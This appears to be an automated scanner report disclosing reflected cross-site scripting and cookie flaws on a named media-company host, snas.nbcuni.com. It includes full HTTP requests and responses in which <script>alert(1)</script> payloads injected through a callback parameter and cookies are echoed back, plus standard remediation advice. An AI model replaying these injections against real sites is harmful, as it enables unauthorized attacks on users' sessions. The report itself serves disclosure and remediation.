CAPEC-86, XSS, Cross Site Scripting, snas.nbcuni.com, CWE-79

CAPEC-86: Embedding Script (XSS ) in HTTP Headers | CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Fri Feb 11 10:23:05 CST 2011.

DORK CWE-79 XSS Report

1. Cross-site scripting (reflected)

1.1. http://snas.nbcuni.com/snas/api/getRemoteDomainCookies [callback parameter]

1.2. http://snas.nbcuni.com/snas/api/getRemoteDomainCookies [JSESSIONID cookie]

1.3. http://snas.nbcuni.com/snas/api/getRemoteDomainCookies [s_vi cookie]

2. Cookie without HttpOnly flag set

3. HTML does not specify charset

4. Content type incorrectly stated

1. Cross-site scripting (reflected) next
There are 3 instances of this issue:

/snas/api/getRemoteDomainCookies [callback parameter]
/snas/api/getRemoteDomainCookies [JSESSIONID cookie]
/snas/api/getRemoteDomainCookies [s_vi cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://snas.nbcuni.com/snas/api/getRemoteDomainCookies [callback parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://snas.nbcuni.com
Path:	/snas/api/getRemoteDomainCookies

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 60b4e<script>alert(1)</script>93142b60814 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /snas/api/getRemoteDomainCookies?callback=__nbcsnasadops.doSCallback60b4e<script>alert(1)</script>93142b60814 HTTP/1.1
Host: snas.nbcuni.com
Proxy-Connection: keep-alive
Referer: http://www.nbc.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26985E91051D26AD-4000012F80005A23[CE]

Response

HTTP/1.1 200 OK
Date: Fri, 11 Feb 2011 15:34:29 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8b DAV/2 mod_jk/1.2.30
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=8AC6D75584AE58023386E84952CC4F1F; Path=/
Cache-Control: max-age=10
Expires: Fri, 11 Feb 2011 15:34:39 GMT
Content-Length: 137
Content-Type: text/html

__nbcsnasadops.doSCallback60b4e<script>alert(1)</script>93142b60814({ "cookie":{"s_vi":"[CS]v1|26985E91051D26AD-4000012F80005A23[CE]"}});

1.2. http://snas.nbcuni.com/snas/api/getRemoteDomainCookies [JSESSIONID cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://snas.nbcuni.com
Path:	/snas/api/getRemoteDomainCookies

Issue detail

The value of the JSESSIONID cookie is copied into the HTML document as plain text between tags. The payload 4792e<script>alert(1)</script>57be19c8a90 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /snas/api/getRemoteDomainCookies?callback=__nbcsnasadops.doSCallback HTTP/1.1
Host: snas.nbcuni.com
Proxy-Connection: keep-alive
Referer: http://my.nbc.com/accounts/register
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26985E91051D26AD-4000012F80005A23[CE]; JSESSIONID=A298FC99768CF484FA6F586E9EF7141F4792e<script>alert(1)</script>57be19c8a90

Response

HTTP/1.1 200 OK
Date: Fri, 11 Feb 2011 15:36:35 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8b DAV/2 mod_jk/1.2.30
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=A298FC99768CF484FA6F586E9EF7141F4792e<script>alert(1)</script>57be19c8a90; Path=/
Cache-Control: max-age=10
Expires: Fri, 11 Feb 2011 15:36:45 GMT
Content-Length: 185
Content-Type: text/html

__nbcsnasadops.doSCallback({ "cookie":{"JSESSIONID":"A298FC99768CF484FA6F586E9EF7141F4792e<script>alert(1)</script>57be19c8a90","s_vi":"[CS]v1|26985E91051D26AD-4000012F80005A23[CE]"}});

1.3. http://snas.nbcuni.com/snas/api/getRemoteDomainCookies [s_vi cookie] previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://snas.nbcuni.com
Path:	/snas/api/getRemoteDomainCookies

Issue detail

The value of the s_vi cookie is copied into the HTML document as plain text between tags. The payload b786f<script>alert(1)</script>da229080ce3 was submitted in the s_vi cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /snas/api/getRemoteDomainCookies?callback=__nbcsnasadops.doSCallback HTTP/1.1
Host: snas.nbcuni.com
Proxy-Connection: keep-alive
Referer: http://www.nbc.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26985E91051D26AD-4000012F80005A23[CE]b786f<script>alert(1)</script>da229080ce3

Response

HTTP/1.1 200 OK
Date: Fri, 11 Feb 2011 15:34:31 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8b DAV/2 mod_jk/1.2.30
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=87B115732E44BE79D625A91FD310812F; Path=/
Cache-Control: max-age=10
Expires: Fri, 11 Feb 2011 15:34:41 GMT
Content-Length: 137
Content-Type: text/html

__nbcsnasadops.doSCallback({ "cookie":{"s_vi":"[CS]v1|26985E91051D26AD-4000012F80005A23[CE]b786f<script>alert(1)</script>da229080ce3"}});

2. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://snas.nbcuni.com
Path:	/snas/api/getRemoteDomainCookies

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=634024310539C2B271918C2DC0774665; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

HTTP/1.1 200 OK
Date: Fri, 11 Feb 2011 15:34:14 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8b DAV/2 mod_jk/1.2.30
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=634024310539C2B271918C2DC0774665; Path=/
Cache-Control: max-age=10
Expires: Fri, 11 Feb 2011 15:34:24 GMT
Content-Length: 96
Content-Type: text/html

__nbcsnasadops.doSCallback({ "cookie":{"s_vi":"[CS]v1|26985E91051D26AD-4000012F80005A23[CE]"}});

3. HTML does not specify charset previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://snas.nbcuni.com
Path:	/snas/api/getRemoteDomainCookies

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

Response

4. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://snas.nbcuni.com
Path:	/snas/api/getRemoteDomainCookies

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain CSS.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

Response

Report generated by CloudScan Vulnerability Crawler at Fri Feb 11 10:23:05 CST 2011.